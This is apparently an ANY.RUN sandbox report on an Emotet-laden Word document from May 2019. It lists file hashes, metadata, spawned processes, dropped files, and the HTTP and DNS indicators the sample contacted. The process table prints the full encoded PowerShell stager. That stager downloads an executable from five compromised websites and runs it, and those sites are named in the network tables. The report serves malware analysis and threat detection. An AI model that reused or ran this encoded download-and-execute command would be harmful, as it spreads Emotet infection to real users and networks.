analyze malware
- Huge database of samples and IOCs
- Custom VM setup
- Unlimited submissions
- Interactive approach
| download: | qwswz4-9sir7-jxlh |
| Full analysis: | https://app.any.run/tasks/9ff6e2dc-b9b6-425f-8995-77eef16acf42 |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | May 20, 2019, 09:27:55 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Clothing methodologies microchip, Subject: Handmade Wooden Bike, Author: Margaret Willms, Comments: unleash, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri May 17 06:55:00 2019, Last Saved Time/Date: Fri May 17 06:55:00 2019, Number of Pages: 1, Number of Words: 29, Number of Characters: 170, Security: 0 |
| MD5: | 72149D1A57493FB31E99ED26BFE495F6 |
| SHA1: | F5B202B43361CF877FD7B5401F26C76CF418FD3B |
| SHA256: | 26B0B2660BE3E246F487A7F824EFB63F296D6221AEAE5FB5C661ADC82C78DFAE |
| SSDEEP: | 3072:M77HUUUUUUUUUUUUUUUUUUUTkOQePu5U8q4iZEA9tzzpujpOoSc:M77HUUUUUUUUUUUUUUUUUUUT52Vx+EAS |
MALICIOUS
No malicious indicators.SUSPICIOUS
Creates files in the user directory
- PowErsHell.exe (PID: 2804)
Executed via WMI
- PowErsHell.exe (PID: 2804)
PowerShell script executed
- PowErsHell.exe (PID: 2804)
INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2932)
Creates files in the user directory
- WINWORD.EXE (PID: 2932)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| CompObjUserTypeLen: | 32 |
|---|---|
| CompObjUserType: | Microsoft Word 97-2003 Document |
| Title: | Clothing methodologies microchip |
| Subject: | Handmade Wooden Bike |
| Author: | Margaret Willms |
| Keywords: | - |
| Comments: | unleash |
| Template: | Normal.dotm |
| LastModifiedBy: | - |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2019:05:17 05:55:00 |
| ModifyDate: | 2019:05:17 05:55:00 |
| Pages: | 1 |
| Words: | 29 |
| Characters: | 170 |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | Franecki, Green and Waters |
| Lines: | 1 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 198 |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
|
| Manager: | Hermiston |
Total processes
36
Monitored processes
2
Malicious processes
0
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 2932 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\qwswz4-9sir7-jxlh.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
| 2804 | PowErsHell -enC JABjADMANwA1ADcAXwA2ADQAPQAnAGoANQA4ADcANwA1ACcAOwAkAGEAOAAyADkAOAA1ADYAMgAgAD0AIAAnADEAMgAyACcAOwAkAHAAOQAxADkAOAAxADkANgA9ACcAaQAxADkAXwBfADcAMgAnADsAJABZADIANwBfADYANQBfAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABhADgAMgA5ADgANQA2ADIAKwAnAC4AZQB4AGUAJwA7ACQARQAxAF8AMQA0ADgAMgA9ACcAYgAzADMANAA2ADMAMAAyACcAOwAkAG0ANwBfADcAOABfADAAPQAuACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAG4AZQBgAFQALgB3AGAAZQBgAEIAYwBMAGkARQBOAFQAOwAkAHMANAAyAF8AOAA2ADcAPQAnAGgAdAB0AHAAOgAvAC8AYwBsAGEAcwBzAGkAYwBpAG0AYQBnAGUAcgB5AC4AYwBvAG0ALwBiAHUAcwBpAG4AZQBzAHMALwBpAEEARwBLAGIAeABmAHMAawAvAEAAaAB0AHQAcAA6AC8ALwBlAGQAYQBuAGQAdAByAGkAcwBoAC4AYwBvAG0ALwBiAGwAdQBlAC8AOAB3AHMAZQBfAHoAcgBkAG4AeAAyAGMALQA5ADcANwA1AC8AQABoAHQAdABwADoALwAvAGYAaQBuAGUAdAByAGEAZABlAC4AagBwAC8AZABhAHQAYQAvAG0ARgBhAHAAUgByAE4ARwBFAC8AQABoAHQAdABwADoALwAvAG0AZQBlAG4AYQBrAHMAaABpAG0AYQB0AHIAaQBjAGgAcwBzAC4AZQBkAHUALgBpAG4ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwB6AFIAdQBuAHMARwBjAGwAcwAvAEAAaAB0AHQAcAA6AC8ALwB0AGEAbgBpAGIAaQBzAG4AaQBzAC4AdwBlAGIALgBpAGQALwB3AHAALwB4AGEAOQBvAF8AOAA4AHAAagA1AG0AYwByAC0AMgA2AC8AJwAuAFMAUABMAGkAVAAoACcAQAAnACkAOwAkAHcANQA5ADUANwA4ADAAPQAnAFgAOQAxADYANwA2ADAAXwAnADsAZgBvAHIAZQBhAGMAaAAoACQAbAAzADEANgAwADcAXwAgAGkAbgAgACQAcwA0ADIAXwA4ADYANwApAHsAdAByAHkAewAkAG0ANwBfADcAOABfADAALgBEAE8AVwBOAGwATwBBAEQAZgBpAEwARQAoACQAbAAzADEANgAwADcAXwAsACAAJABZADIANwBfADYANQBfACkAOwAkAGkAMgA2ADAAOQBfADgANAA9ACcAYQAxADkAMQA4ADAAMwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAFkAMgA3AF8ANgA1AF8AKQAuAEwARQBOAEcAdABIACAALQBnAGUAIAAyADYANAA0ADEAKQAgAHsALgAoACcASQBuAHYAbwAnACsAJwBrAGUALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQAWQAyADcAXwA2ADUAXwA7ACQAVQA2ADYAMgA4ADMAPQAnAGsAOQA4ADQAMQA2ADAAMwAnADsAYgByAGUAYQBrADsAJAB6ADYAXwA0ADYANwA1AD0AJwB3ADkAOAAzADcANAA2ADQAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVAAzADcANQBfADgANwA9ACcAQwA0ADIANQA1ADgAJwA= | C:\Windows\System32\WindowsPowerShell\v1.0\PowErsHell.exe | wmiprvse.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
Total events
1 349
Read events
886
Write events
0
Delete events
0
Modification events
Executable files
0
Suspicious files
2
Text files
0
Unknown types
15
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2932 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRE2BD.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2804 | PowErsHell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\OCFA2O32G75B73WYQ19U.temp | — | |
MD5:— | SHA256:— | |||
| 2932 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\Word8.0\MSForms.exd | tlb | |
MD5:72A2C1F7519AD1C34EA6FF559A02A16E | SHA256:878AA815F6217DC4F5F17D33ECBC60CB4FBF70282F028D70E1D7EF89C0B5529D | |||
| 2932 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\478F5241.wmf | wmf | |
MD5:620C0B417CB54264286C4D6D8FDE2C32 | SHA256:22F7EEF5CE8941EE636D7B8D0139EF081CC97DC715F75B725ACA8C98DDB64763 | |||
| 2932 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:18C5114A0FFF303169E0B23B683E12F1 | SHA256:9E0A038E4163A6528AD78FBDA4DD0274736EBE00B838067B9AB42421E2AB6133 | |||
| 2932 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$swz4-9sir7-jxlh.doc | pgc | |
MD5:B00868D7B819FB6542EA29C01BFA8AC5 | SHA256:63F702A4894D29250F21645107EECE7C1E7920D85E5F3A8571F9E4A0CA01BCBC | |||
| 2932 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3A7C2C8C.wmf | wmf | |
MD5:1012A21156DCFF2937353BEE5985FADC | SHA256:A9F5E85E96612733BB239D8B221DEF29EFFC0E143359BB1A74882EEA75B8B601 | |||
| 2804 | PowErsHell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:5F9A7BF5388376D94C2EDCA422810BEC | SHA256:8B2183F4F2F735C231B1F81D46CB86CB1FB51168824DE82F3A9EA79C12CAF82C | |||
| 2932 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\23078F7B.wmf | wmf | |
MD5:BADA8333D319949ABF89AD3E09668676 | SHA256:89350B8784B35B17973337F19805AC13C2EEFDA24DB7FB278F85565FAD66F0FC | |||
| 2932 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C566134E.wmf | wmf | |
MD5:6D0190FBC656B77CD39199DBCC53D222 | SHA256:0E06333D7108C33C6BE0B696F2CE6035EAB80D14B60B27D37C5CE8C7B81D6809 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
5
DNS requests
5
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2804 | PowErsHell.exe | GET | 404 | 50.31.162.218:80 | http://classicimagery.com/business/iAGKbxfsk/ | US | xml | 345 b | malicious |
2804 | PowErsHell.exe | GET | 404 | 59.106.13.51:80 | http://finetrade.jp/data/mFapRrNGE/ | JP | xml | 345 b | suspicious |
2804 | PowErsHell.exe | GET | 404 | 69.41.190.91:80 | http://edandtrish.com/blue/8wse_zrdnx2c-9775/ | US | xml | 345 b | suspicious |
2804 | PowErsHell.exe | GET | 404 | 103.20.190.60:80 | http://tanibisnis.web.id/wp/xa9o_88pj5mcr-26/ | ID | xml | 345 b | malicious |
2804 | PowErsHell.exe | GET | 404 | 118.67.248.204:80 | http://meenakshimatrichss.edu.in/wp-includes/zRunsGcls/ | IN | xml | 345 b | unknown |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2804 | PowErsHell.exe | 50.31.162.218:80 | classicimagery.com | Server Central Network | US | suspicious |
2804 | PowErsHell.exe | 59.106.13.51:80 | finetrade.jp | SAKURA Internet Inc. | JP | suspicious |
2804 | PowErsHell.exe | 69.41.190.91:80 | edandtrish.com | WZ Communications Inc. | US | suspicious |
2804 | PowErsHell.exe | 118.67.248.204:80 | meenakshimatrichss.edu.in | Net4India Ltd | IN | unknown |
2804 | PowErsHell.exe | 103.20.190.60:80 | tanibisnis.web.id | ARDH GLOBAL INDONESIA, PT | ID | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
classicimagery.com |
| malicious |
edandtrish.com |
| suspicious |
finetrade.jp |
| suspicious |
meenakshimatrichss.edu.in |
| unknown |
tanibisnis.web.id |
| malicious |